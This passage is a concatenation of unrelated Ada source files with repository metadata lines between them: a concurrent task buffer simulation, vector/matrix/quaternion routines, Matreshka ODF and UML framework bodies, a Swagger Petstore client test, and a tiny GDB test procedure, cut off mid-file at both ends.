service; protected body ProtectedCounter is function Get return Integer is begin return value; end; procedure Increment is begin value := value + 1; end; end ProtectedCounter; protected body TaskBufferType is entry Insert (An_Item : in taskk) when Length < MAX_TASKLIST_SIZE is begin Data(Tail) := An_Item; Tail := Tail mod MAX_TASKLIST_SIZE + 1; Length := Length + 1; end Insert; entry Remove (An_Item : out taskk) when Length > 0 is begin An_Item := Data(Head); Head := Head mod MAX_TASKLIST_SIZE + 1; Length := Length - 1; end Remove; function seeTaskList(len : out Natural;head1 : out TaskListRange) return TaskArray is begin len := Length; head1 := Head; return Data; end seeTaskList; end TaskBufferType; protected body StorageBufferType is entry Insert (An_Item : in product) when Length < MAX_STORAGE_CAPACITY is begin Data(Tail) := An_Item; Tail := Tail mod MAX_STORAGE_CAPACITY + 1; Length := Length + 1; end Insert; entry Remove (An_Item : out product) when Length > 0 is begin An_Item := Data(Head); Head := Head mod MAX_STORAGE_CAPACITY + 1; Length := Length - 1; end Remove; function seeStorage(len : out Natural;head1 : out StorageListRange) return StorageArray is begin len := Length; head1 := Head; return Data; end seeStorage; end StorageBufferType; task body chairman is newTask : taskk; Gen : FRand.Generator; type A is range operatorsArray'First..operatorsArray'Last; package R is new Ada.Numerics.Discrete_Random(A); Gen2 : R.Generator; begin FRand.Reset(Gen); R.Reset(Gen2); loop newTask := (FRand.Random(Gen) * MAX_ARGUMENT_VALUE, FRand.Random(Gen) * MAX_ARGUMENT_VALUE, operators(Integer(R.Random(Gen2))),null); --("CHAIRMAN: I've made up a new task! Trying to add it to task list."); tasks.Insert(newTask); --("CHAIRMAN: I've added a new task to the task list."); delay duration(chairman_sleep); end loop; end chairman; task body client is newProduct : product; begin loop inform("CLIENT: I am waiting for my product."); storage.Remove(newProduct); inform("CLIENT: Product taken from display, product value: " & Float'Image(newProduct.value)); delay duration(client_sleep); end loop; end client; procedure inform(message : String) is begin if (modee = TALKATIVE) then IO.Put_Line(message); end if; end inform; function doTask(tsk : in out taskk) return Float is begin case tsk.operator is when '+' => tsk.result := new Float'(tsk.first + tsk.second); return tsk.result.all; when '-' => tsk.result := new Float'(tsk.first - tsk.second); return tsk.result.all; when '*' => tsk.result := new Float'(tsk.first * tsk.second); return tsk.result.all; end case; end doTask; procedure printTaksArray(arr : TaskArray) is begin IO.Put("[ "); for I in arr'Range loop IO.Put("{" & Float'Image(arr(I).first) & operatorT'Image(arr(I).operator) & Float'Image(arr(I).second) & " }"); end loop; IO.Put("]\n"); end printTaksArray; procedure printStorageArrat(arr : StorageArray) is begin IO.Put("[ "); for I in arr'Range loop IO.Put(Float'Image(arr(I).value) & " "); end loop; IO.Put("]\n"); end printStorageArrat; end objects;
charlie5/lace
Ada
14,536
adb
with ada.Characters.latin_1; package body any_Math.any_Algebra.any_linear is ----------- --- Vectors -- function Norm_squared (Self : in Vector) return Real is Norm_2 : Real := 0.0; begin for Each in Self'Range loop Norm_2 := Norm_2 + Self (Each) * Self (Each); end loop; return Norm_2; end Norm_squared; procedure normalise (Self : in out Vector) is use Vectors; inverse_Norm : constant Real := 1.0 / abs Self; begin for Each in Self'Range loop Self (Each) := Self (Each) * inverse_Norm; end loop; end normalise; function Normalised (Self : in Vector) return Vector is Result : Vector := Self; begin normalise (Result); return Result; end Normalised; procedure normalise (Self : in out Vector_2) is inverse_Norm : constant Real := 1.0 / abs Self; begin Self := Self * inverse_Norm; end normalise; function Normalised (Self : in Vector_2) return Vector_2 is inverse_Norm : constant Real := 1.0 / abs Self; begin return Self * inverse_Norm; end Normalised; procedure normalise (Self : in out Vector_3) is inverse_Norm : constant Real := 1.0 / abs Self; begin Self := Self * inverse_Norm; end normalise; function Normalised (Self : in Vector_3) return Vector_3 is inverse_Norm : constant Real := 1.0 / abs Self; begin return Self * inverse_Norm; end Normalised; function Min (Left, Right : in Vector) return Vector is Min : Vector (Left'Range); begin pragma Assert (Left'Length = Right'Length); for Each in Min'Range loop Min (Each) := Real'Min (Left (Each), Right (Each)); end loop; return Min; end Min; function Max (Left, Right : in Vector) return Vector is Max : Vector (Left'Range); begin pragma Assert (Left'Length = Right'Length); for Each in Max'Range loop Max (Each) := Real'Max (Left (Each), Right (Each)); end loop; return Max; end Max; function scaled (Self : in Vector; By : in Vector) return Vector is Result : Vector (Self'Range); begin for Each in Result'Range loop Result (Each) := Self (Each) * By (Each); end loop; return Result; end scaled; ------------ --- Matrices -- function to_Matrix (Row_1, Row_2, Row_3 : in Vector_3) return Matrix_3x3 is begin return [[Row_1 (1), Row_1 (2), Row_1 (3)], [Row_2 (1), Row_2 (2), Row_2 (3)], [Row_3 (1), Row_3 (2), Row_3 (3)]]; end to_Matrix; function Min (Self : in Matrix) return Real is Min : Real := Real'Last; begin for each_Row in Self'Range (1) loop for each_Col in Self'Range (2) loop Min := Real'Min (Min, Self (each_Row, each_Col)); end loop; end loop; return Min; end Min; function Max (Self : in Matrix) return Real is Max : Real := Real'First; begin for each_Row in Self'Range (1) loop for each_Col in Self'Range (2) loop Max := Real'Max (Max, Self (each_Row, each_Col)); end loop; end loop; return Max; end Max; function Image (Self : in Matrix) return String is Image : String (1 .. 1024 * 1024); -- Handles one megabyte image, excess is truncated. Count : Standard.Natural := 0; procedure add (Text : in String) is begin Image (Count + 1 .. Count + text'Length) := Text; Count := Count + text'Length; end add; begin add ("("); for Row in self'Range (1) loop add ([1 => ada.Characters.latin_1.LF]); if Row /= self'First (1) then add (", "); end if; for Col in self'Range (2) loop if Col /= self'First (2) then add (", "); end if; add (Real'Image (Self (Row, Col))); end loop; end loop; add (")"); return Image (1 .. Count); exception when others => return Image (1 .. Count); end Image; function is_Square (Self : in Matrix) return Boolean is begin return Self'Length (1) = Self'Length (2); end is_Square; function sub_Matrix (Self : in Matrix; start_Row, end_Row : in Index; start_Col, end_Col : in Index) return Matrix is sub_Matrix : Matrix (1 .. end_Row - start_Row + 1, 1 .. end_Col - start_Col + 1); begin for each_Row in sub_Matrix'Range (1) loop for each_Col in sub_Matrix'Range (2) loop sub_Matrix (each_Row, each_Col) := Self (each_Row + start_Row - 1, each_Col + start_Col - 1); end loop; end loop; return sub_Matrix; end sub_Matrix; function Identity (Size : in Index := 3) return Matrix is Result : Matrix (1 .. Size, 1 .. Size); begin for Row in 1 .. Size loop for Col in 1 .. Size loop if Row = Col then Result (Row, Col) := 1.0; else Result (Row, Col) := 0.0; end if; end loop; end loop; return Result; end Identity; procedure invert (Self : in out Matrix) is use Vectors; begin Self := Inverse (Self); end invert; --------------- --- Quaternions -- function to_Quaternion (axis_X, axis_Y, axis_Z : in Real; Angle : in Real) return Quaternion is Result : Quaternion; L : Real := axis_X * axis_X + axis_Y * axis_Y + axis_Z * axis_Z; begin if L > 0.0 then declare use Functions; half_Angle : constant Real := Angle * 0.5; begin Result.R := Cos (half_Angle); L := Sin (half_Angle) * (1.0 / SqRt (L)); Result.V (1) := axis_X * L; Result.V (2) := axis_Y * L; Result.V (3) := axis_Z * L; end; else Result.R := L; Result.V (1) := 0.0; Result.V (2) := 0.0; Result.V (3) := 0.0; end if; return Result; end to_Quaternion; function to_Quaternion (Axis : in Vector_3; Angle : in Real) return Quaternion is Result : Quaternion; L : Real := Axis * Axis; begin if L > 0.0 then declare use Functions; half_Angle : constant Real := Angle * 0.5; begin Result.R := Cos (half_Angle); L := Sin (half_Angle) * (1.0 / SqRt (L)); Result.V := Axis * L; end; else Result.R := L; Result.V := [0.0, 0.0, 0.0]; end if; return Result; end to_Quaternion; function "*" (Self : in Quaternion; By : in Quaternion) return Quaternion is x : constant := 1; y : constant := 2; z : constant := 3; A : Quaternion renames Self; B : Quaternion renames By; AtBt : constant Real := A.R * B.R; AxBx : constant Real := A.V (x) * B.V (x); AyBy : constant Real := A.V (y) * B.V (y); AzBz : constant Real := A.V (z) * B.V (z); AtBx : constant Real := A.R * B.V (x); AxBt : constant Real := A.V (x) * B.R; AyBz : constant Real := A.V (y) * B.V (z); AzBy : constant Real := A.V (z) * B.V (y); AtBy : constant Real := A.R * B.V (y); AxBz : constant Real := A.V (x) * B.V (z); AyBt : constant Real := A.V (y) * B.R; AzBx : constant Real := A.V (z) * B.V (x); AtBz : constant Real := A.R * B.V (z); AxBy : constant Real := A.V (x) * B.V (y); AyBx : constant Real := A.V (y) * B.V (x); AzBt : constant Real := A.V (z) * B.R; begin return (R => AtBt - AxBx - AyBy - AzBz, V => [AtBx + AxBt + AyBz - AzBy, AtBy - AxBz + AyBt + AzBx, AtBz + AxBy - AyBx + AzBt]); end "*"; function Unit (Self : in Quaternion) return Quaternion is begin return to_Quaternion ( to_Vector (Self) / abs to_Vector (Self)); end Unit; function infinitesimal_Rotation_from (Self : in Quaternion; angular_Velocity : in Vector_3) return Quaternion is i_Rotation : Quaternion; begin i_Rotation.R := 0.5 * (- angular_Velocity (1) * Self.V (1) - angular_Velocity (2) * Self.V (2) - angular_Velocity (3) * Self.V (3)); i_Rotation.V (1) := 0.5 * ( angular_Velocity (1) * Self.R + angular_Velocity (2) * Self.V (3) - angular_Velocity (3) * Self.V (2)); i_Rotation.V (2) := 0.5 * (- angular_Velocity (1) * Self.V (3) + angular_Velocity (2) * Self.R + angular_Velocity (3) * Self.V (1)); i_Rotation.V (3) := 0.5 * ( angular_Velocity (1) * Self.V (2) - angular_Velocity (2) * Self.V (1) + angular_Velocity (3) * Self.R); return i_Rotation; end infinitesimal_Rotation_from; function euler_Angles (Self : in Quaternion) return Vector_3 -- 'Self' can be a non-normalised quaternion. is use Functions; w : Real renames Self.R; x : Real renames Self.V (1); y : Real renames Self.V (2); z : Real renames Self.V (3); the_Angles : Vector_3; Bank : Real renames the_Angles (1); Heading : Real renames the_Angles (2); Attitude : Real renames the_Angles (3); sqw : constant Real := w * w; sqx : constant Real := x * x; sqy : constant Real := y * y; sqz : constant Real := z * z; unit : constant Real := sqx + sqy + sqz + sqw; -- If normalised then is 1.0 else is a correction factor. test : constant Real := x * y + z * w; begin if test > 0.499 * unit then -- Singularity at north pole. Heading := 2.0 * arcTan (x, w); Attitude := Pi / 2.0; Bank := 0.0; return the_Angles; end if; if test < -0.499 * unit then -- Singularity at south pole. Heading := -2.0 * arcTan (x, w); Attitude := -Pi / 2.0; Bank := 0.0; return the_Angles; end if; Heading := arcTan (2.0 * y * w - 2.0 * x * z, sqx - sqy - sqz + sqw); Bank := arcTan (2.0 * x * w - 2.0 * y * z, -sqx + sqy - sqz + sqw); Attitude := arcSin (2.0 * test / unit); return the_Angles; end euler_Angles; function to_Quaternion (Self : in Matrix_3x3) return Quaternion is use Functions; TR : Real; S : Real; Result : Quaternion; begin TR := Self (1, 1) + Self (2, 2) + Self (3, 3); if TR >= 0.0 then S := SqRt (TR + 1.0); Result.R := 0.5 * S; S := 0.5 * (1.0 / S); Result.V (1) := (Self (3, 2) - Self (2, 3)) * S; Result.V (2) := (Self (1, 3) - Self (3, 1)) * S; Result.V (3) := (Self (2, 1) - Self (1, 2)) * S; return Result; end if; -- Otherwise, find the largest diagonal element and apply the appropriate case. -- declare function case_1_Result return Quaternion is begin S := SqRt (Self (1, 1) - (Self (2, 2) + Self (3, 3)) + 1.0); Result.V (1) := 0.5 * S; S := 0.5 * (1.0 / S); Result.V (2) := (Self (1, 2) + Self (2, 1)) * S; Result.V (3) := (Self (3, 1) + Self (1, 3)) * S; Result.R := (Self (3, 2) - Self (2, 3)) * S; return Result; end case_1_Result; function case_2_Result return Quaternion is begin S := SqRt (Self (2, 2) - (Self (3, 3) + Self (1, 1)) + 1.0); Result.V (2) := 0.5 * S; S := 0.5 * (1.0 / S); Result.V (3) := (Self (2, 3) + Self (3, 2)) * S; Result.V (1) := (Self (1, 2) + Self (2, 1)) * S; Result.R := (Self (1, 3) - Self (3, 1)) * S; return Result; end case_2_Result; function case_3_Result return Quaternion is begin S := SqRt (Self (3, 3) - (Self (1, 1) + Self (2, 2)) + 1.0); Result.V (3) := 0.5 * S; S := 0.5 * (1.0 / S); Result.V (1) := (Self (3, 1) + Self (1, 3)) * S; Result.V (2) := (Self (2, 3) + Self (3, 2)) * S; Result.R := (Self (2, 1) - Self (1, 2)) * S; return Result; end case_3_Result; pragma Inline (case_1_Result); pragma Inline (case_2_Result); pragma Inline (case_3_Result); begin if Self (2, 2) > Self (1, 1) then if Self (3, 3) > Self (2, 2) then return case_3_Result; end if; return case_2_Result; end if; if Self (3, 3) > Self (1, 1) then return case_3_Result; end if; return case_1_Result; end; end to_Quaternion; function Conjugate (Self : in Quaternion) return Quaternion is begin return (Self.R, -Self.V); end conjugate; procedure normalise (Self : in out Quaternion) is begin Self := Normalised (Self); end normalise; function Normalised (Self : in Quaternion) return Quaternion is begin return to_Quaternion (Vector_4 (Normalised (Vector (to_Vector (Self))))); end Normalised; end any_Math.any_Algebra.any_linear;
reznikmm/matreshka
Ada
4,615
adb
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Open Document Toolkit -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2014, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with Matreshka.DOM_Documents; with Matreshka.ODF_String_Constants; with ODF.DOM.Iterators; with ODF.DOM.Visitors; package body Matreshka.ODF_Draw.Filter_Name_Attributes is ------------ -- Create -- ------------ overriding function Create (Parameters : not null access Matreshka.DOM_Attributes.Attribute_L2_Parameters) return Draw_Filter_Name_Attribute_Node is begin return Self : Draw_Filter_Name_Attribute_Node do Matreshka.ODF_Draw.Constructors.Initialize (Self'Unchecked_Access, Parameters.Document, Matreshka.ODF_String_Constants.Draw_Prefix); end return; end Create; -------------------- -- Get_Local_Name -- -------------------- overriding function Get_Local_Name (Self : not null access constant Draw_Filter_Name_Attribute_Node) return League.Strings.Universal_String is pragma Unreferenced (Self); begin return Matreshka.ODF_String_Constants.Filter_Name_Attribute; end Get_Local_Name; begin Matreshka.DOM_Documents.Register_Attribute (Matreshka.ODF_String_Constants.Draw_URI, Matreshka.ODF_String_Constants.Filter_Name_Attribute, Draw_Filter_Name_Attribute_Node'Tag); end Matreshka.ODF_Draw.Filter_Name_Attributes;
rbkmoney/swagger-codegen
Ada
10,127
adb
with Samples.Petstore.Clients; with Samples.Petstore.Models; with Swagger; with Util.Http.Clients.Curl; with Ada.Text_IO; with Ada.Command_Line; with Ada.Calendar.Formatting; with Ada.Exceptions; procedure Test is use Ada.Text_IO; procedure Usage; procedure Print_Pet (Pet : in Samples.Petstore.Models.Pet_Type); procedure Print_Order (Order : in Samples.Petstore.Models.Order_Type); procedure Get_User (C : in out Samples.Petstore.Clients.Client_Type); procedure Get_Pet (C : in out Samples.Petstore.Clients.Client_Type); procedure Get_Order (C : in out Samples.Petstore.Clients.Client_Type); procedure List_Inventory (C : in out Samples.Petstore.Clients.Client_Type); procedure List_Pet (C : in out Samples.Petstore.Clients.Client_Type); procedure Delete_Pet (C : in out Samples.Petstore.Clients.Client_Type); procedure Delete_User (C : in out Samples.Petstore.Clients.Client_Type); procedure Delete_Order (C : in out Samples.Petstore.Clients.Client_Type); procedure Add_Pet (C : in out Samples.Petstore.Clients.Client_Type); procedure Login (C : in out Samples.Petstore.Clients.Client_Type; Username : in String; Password : in String); Server : constant Swagger.UString := Swagger.To_UString ("http://petstore.swagger.io/v2"); Arg_Count : constant Natural := Ada.Command_Line.Argument_Count; Arg : Positive := 1; procedure Usage is begin Put_Line ("Usage: petstore {list|add|rm|update} {user|order|pet} {params}..."); Put_Line (" get pet <id>... Print pet given its id"); Put_Line (" get user <name>... Print user given its name"); Put_Line (" get order <id>... Print order given its id"); Put_Line (" list pet <status>... List the pets with the given status"); Put_Line (" list inventory List the inventory"); Put_Line (" add pet <id> <name> <status> <category-id> <category-name"); Put_Line (" Add a pet"); Put_Line (" rm user <name>... Remove user with given name"); Put_Line (" rm order <id>... Remove order with given id"); Put_Line (" login <username> <password> Use login operation to get a session"); end Usage; procedure Print_Pet (Pet : in Samples.Petstore.Models.Pet_Type) is Need_Indent : Boolean := False; begin Put_Line ("Id : " & Swagger.Long'Image (Pet.Id)); Put_Line ("Name : " & Swagger.To_String (Pet.Name)); Put_Line ("Status : " & Swagger.To_String (Pet.Status)); if not Pet.Tags.Is_Empty then Put ("Tags : "); for Tag of Pet.Tags loop Put_Line ((if Need_Indent then " " else "") & Swagger.To_String (Tag.Name)); Need_Indent := True; end loop; end if; if not Pet.Photo_Urls.Is_Empty then Need_Indent := False; Put ("URLs : "); for Url of Pet.Photo_Urls loop Put_Line ((if Need_Indent then " " else "") & Url); Need_Indent := True; end loop; end if; end Print_Pet; procedure Print_Order (Order : in Samples.Petstore.Models.Order_Type) is begin Put_Line ("Id : " & Swagger.Long'Image (Order.Id)); Put_Line ("Pet id : " & Swagger.Long'Image (Order.Pet_Id)); Put_Line ("Quantity : " & Integer'Image (Order.Quantity)); Put_Line ("Status : " & Swagger.To_String (Order.Status)); Put_Line ("Ship date : " & Ada.Calendar.Formatting.Image (Order.Ship_Date)); Put_Line ("Complete : " & Boolean'Image (Order.Complete)); end Print_Order; procedure Get_User (C : in out Samples.Petstore.Clients.Client_Type) is User : Samples.Petstore.Models.User_Type; begin for I in Arg .. Arg_Count loop C.Get_User_By_Name (Swagger.To_UString (Ada.Command_Line.Argument (I)), User); Put_Line ("Id : " & Swagger.Long'Image (User.Id)); Put_Line ("Username : " & Swagger.To_String (User.Username)); Put_Line ("Firstname: " & Swagger.To_String (User.First_Name)); Put_Line ("Lastname : " & Swagger.To_String (User.Last_Name)); Put_Line ("Email : " & Swagger.To_String (User.Email)); Put_Line ("Password : " & Swagger.To_String (User.Password)); Put_Line ("Phone : " & Swagger.To_String (User.Phone)); end loop; end Get_User; procedure Get_Pet (C : in out Samples.Petstore.Clients.Client_Type) is Pet : Samples.Petstore.Models.Pet_Type; begin C.Set_Server (Server); for I in Arg .. Arg_Count loop declare P : constant String := Ada.Command_Line.Argument (I); begin C.Get_Pet_By_Id (Swagger.Long'Value (P), Pet); Print_Pet (Pet); end; end loop; end Get_Pet; procedure Get_Order (C : in out Samples.Petstore.Clients.Client_Type) is Order : Samples.Petstore.Models.Order_Type; begin C.Set_Server (Server); for I in Arg .. Arg_Count loop declare P : constant String := Ada.Command_Line.Argument (I); begin C.Get_Order_By_Id (Swagger.Long'Value (P), Order); Print_Order (Order); end; end loop; end Get_Order; procedure List_Pet (C : in out Samples.Petstore.Clients.Client_Type) is Pets : Samples.Petstore.Models.Pet_Type_Vectors.Vector; begin for I in Arg .. Arg_Count loop declare Status : Swagger.UString_Vectors.Vector; P : constant String := Ada.Command_Line.Argument (I); begin Status.Append (P); C.Find_Pets_By_Status (Status, Pets); for Pet of Pets loop Print_Pet (Pet); end loop; end; end loop; end List_Pet; procedure List_Inventory (C : in out Samples.Petstore.Clients.Client_Type) is List : Swagger.Integer_Map; Iter : Swagger.Integer_Maps.Cursor; begin C.Get_Inventory (List); Ada.Text_IO.Put_Line ("Inventory size " & Natural'Image (Natural (List.Length))); Iter := List.First; while Swagger.Integer_Maps.Has_Element (Iter) loop Put (Swagger.Integer_Maps.Key (Iter)); Set_Col (70); Put_Line (Natural'Image (Swagger.Integer_Maps.Element (Iter))); Swagger.Integer_Maps.Next (Iter); end loop; end List_Inventory; procedure Login (C : in out Samples.Petstore.Clients.Client_Type; Username : in String; Password : in String) is Session : Swagger.UString; begin C.Login_User (Swagger.To_UString (Username), Swagger.To_UString (Password), Session); Put_Line ("New session : " & Swagger.To_String (Session)); end Login; procedure Add_Pet (C : in out Samples.Petstore.Clients.Client_Type) is Pet : Samples.Petstore.Models.Pet_Type; begin if Arg_Count /= 7 then Put_Line ("Missing some arguments for add pet command"); Usage; return; end if; Pet.Id := Swagger.Long'Value (Ada.Command_Line.Argument (Arg)); Pet.Name := Swagger.To_UString (Ada.Command_Line.Argument (Arg + 1)); Pet.Status := Swagger.To_UString (Ada.Command_Line.Argument (Arg + 2)); Pet.Category.Id := Swagger.Long'Value (Ada.Command_Line.Argument (Arg + 3)); Pet.Category.Name := Swagger.To_UString (Ada.Command_Line.Argument (Arg + 4)); C.Add_Pet (Pet); end Add_Pet; procedure Delete_User (C : in out Samples.Petstore.Clients.Client_Type) is begin for I in Arg .. Arg_Count loop C.Delete_User (Username => Swagger.To_UString (Ada.Command_Line.Argument (I))); end loop; end Delete_User; procedure Delete_Order (C : in out Samples.Petstore.Clients.Client_Type) is begin for I in Arg .. Arg_Count loop C.Delete_Order (Swagger.To_UString (Ada.Command_Line.Argument (I))); end loop; end Delete_Order; procedure Delete_Pet (C : in out Samples.Petstore.Clients.Client_Type) is Key : constant Swagger.UString := Swagger.To_UString (Ada.Command_Line.Argument (Arg)); begin Arg := Arg + 1; for I in Arg .. Arg_Count loop C.Delete_Pet (Swagger.Long'Value (Ada.Command_Line.Argument (I)), Key); end loop; end Delete_Pet; begin if Arg_Count <= 1 then Usage; return; end if; Util.Http.Clients.Curl.Register; declare Command : constant String := Ada.Command_Line.Argument (Arg); Item : constant String := Ada.Command_Line.Argument (Arg + 1); C : Samples.Petstore.Clients.Client_Type; begin C.Set_Server (Server); Arg := Arg + 2; if Command = "login" then Login (C, Item, Ada.Command_Line.Argument (Arg)); elsif Command = "get" then if Item = "user" then Get_User (C); elsif Item = "pet" then Get_Pet (C); elsif Item = "order" then Get_Order (C); else Usage; end if; elsif Command = "list" then if Item = "pet" then List_Pet (C); elsif Item = "inventory" then List_Inventory (C); else Usage; end if; elsif Command = "add" then if Item = "pet" then Add_Pet (C); else Usage; end if; elsif Command = "rm" then if Item = "user" then Delete_User (C); elsif Item = "order" then Delete_Order (C); elsif Item = "pet" then Delete_Pet (C); else Usage; end if; elsif Command = "update" then Usage; else Usage; end if; exception when E : Constraint_Error => Put_Line ("Constraint error raised: " & Ada.Exceptions.Exception_Message (E)); end; end Test;
MinimSecure/unum-sdk
Ada
901
adb
-- Copyright 2012-2019 Free Software Foundation, Inc. -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 3 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program. If not, see <http://www.gnu.org/licenses/>. with Pck; use Pck; with IO; use IO; procedure Foo is procedure Nested_Sub is begin Put_Line ("Some string"); end Nested_Sub; begin Nested_Sub; Do_Nothing; end Foo;
reznikmm/matreshka
Ada
9,417
adb
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Ada Modeling Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2011-2012, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with AMF.Elements; with AMF.Internals.Element_Collections; with AMF.Internals.Helpers; with AMF.Internals.Tables.UML_Attributes; with AMF.Visitors.UML_Iterators; with AMF.Visitors.UML_Visitors; package body AMF.Internals.UML_Link_End_Creation_Datas is ------------------- -- Enter_Element -- ------------------- overriding procedure Enter_Element (Self : not null access constant UML_Link_End_Creation_Data_Proxy; Visitor : in out AMF.Visitors.Abstract_Visitor'Class; Control : in out AMF.Visitors.Traverse_Control) is begin if Visitor in AMF.Visitors.UML_Visitors.UML_Visitor'Class then AMF.Visitors.UML_Visitors.UML_Visitor'Class (Visitor).Enter_Link_End_Creation_Data (AMF.UML.Link_End_Creation_Datas.UML_Link_End_Creation_Data_Access (Self), Control); end if; end Enter_Element; ------------------- -- Leave_Element -- ------------------- overriding procedure Leave_Element (Self : not null access constant UML_Link_End_Creation_Data_Proxy; Visitor : in out AMF.Visitors.Abstract_Visitor'Class; Control : in out AMF.Visitors.Traverse_Control) is begin if Visitor in AMF.Visitors.UML_Visitors.UML_Visitor'Class then AMF.Visitors.UML_Visitors.UML_Visitor'Class (Visitor).Leave_Link_End_Creation_Data (AMF.UML.Link_End_Creation_Datas.UML_Link_End_Creation_Data_Access (Self), Control); end if; end Leave_Element; ------------------- -- Visit_Element -- ------------------- overriding procedure Visit_Element (Self : not null access constant UML_Link_End_Creation_Data_Proxy; Iterator : in out AMF.Visitors.Abstract_Iterator'Class; Visitor : in out AMF.Visitors.Abstract_Visitor'Class; Control : in out AMF.Visitors.Traverse_Control) is begin if Iterator in AMF.Visitors.UML_Iterators.UML_Iterator'Class then AMF.Visitors.UML_Iterators.UML_Iterator'Class (Iterator).Visit_Link_End_Creation_Data (Visitor, AMF.UML.Link_End_Creation_Datas.UML_Link_End_Creation_Data_Access (Self), Control); end if; end Visit_Element; ------------------- -- Get_Insert_At -- ------------------- overriding function Get_Insert_At (Self : not null access constant UML_Link_End_Creation_Data_Proxy) return AMF.UML.Input_Pins.UML_Input_Pin_Access is begin return AMF.UML.Input_Pins.UML_Input_Pin_Access (AMF.Internals.Helpers.To_Element (AMF.Internals.Tables.UML_Attributes.Internal_Get_Insert_At (Self.Element))); end Get_Insert_At; ------------------- -- Set_Insert_At -- ------------------- overriding procedure Set_Insert_At (Self : not null access UML_Link_End_Creation_Data_Proxy; To : AMF.UML.Input_Pins.UML_Input_Pin_Access) is begin AMF.Internals.Tables.UML_Attributes.Internal_Set_Insert_At (Self.Element, AMF.Internals.Helpers.To_Element (AMF.Elements.Element_Access (To))); end Set_Insert_At; ------------------------ -- Get_Is_Replace_All -- ------------------------ overriding function Get_Is_Replace_All (Self : not null access constant UML_Link_End_Creation_Data_Proxy) return Boolean is begin return AMF.Internals.Tables.UML_Attributes.Internal_Get_Is_Replace_All (Self.Element); end Get_Is_Replace_All; ------------------------ -- Set_Is_Replace_All -- ------------------------ overriding procedure Set_Is_Replace_All (Self : not null access UML_Link_End_Creation_Data_Proxy; To : Boolean) is begin AMF.Internals.Tables.UML_Attributes.Internal_Set_Is_Replace_All (Self.Element, To); end Set_Is_Replace_All; ------------- -- Get_End -- ------------- overriding function Get_End (Self : not null access constant UML_Link_End_Creation_Data_Proxy) return AMF.UML.Properties.UML_Property_Access is begin return AMF.UML.Properties.UML_Property_Access (AMF.Internals.Helpers.To_Element (AMF.Internals.Tables.UML_Attributes.Internal_Get_End (Self.Element))); end Get_End; ------------- -- Set_End -- ------------- overriding procedure Set_End (Self : not null access UML_Link_End_Creation_Data_Proxy; To : AMF.UML.Properties.UML_Property_Access) is begin 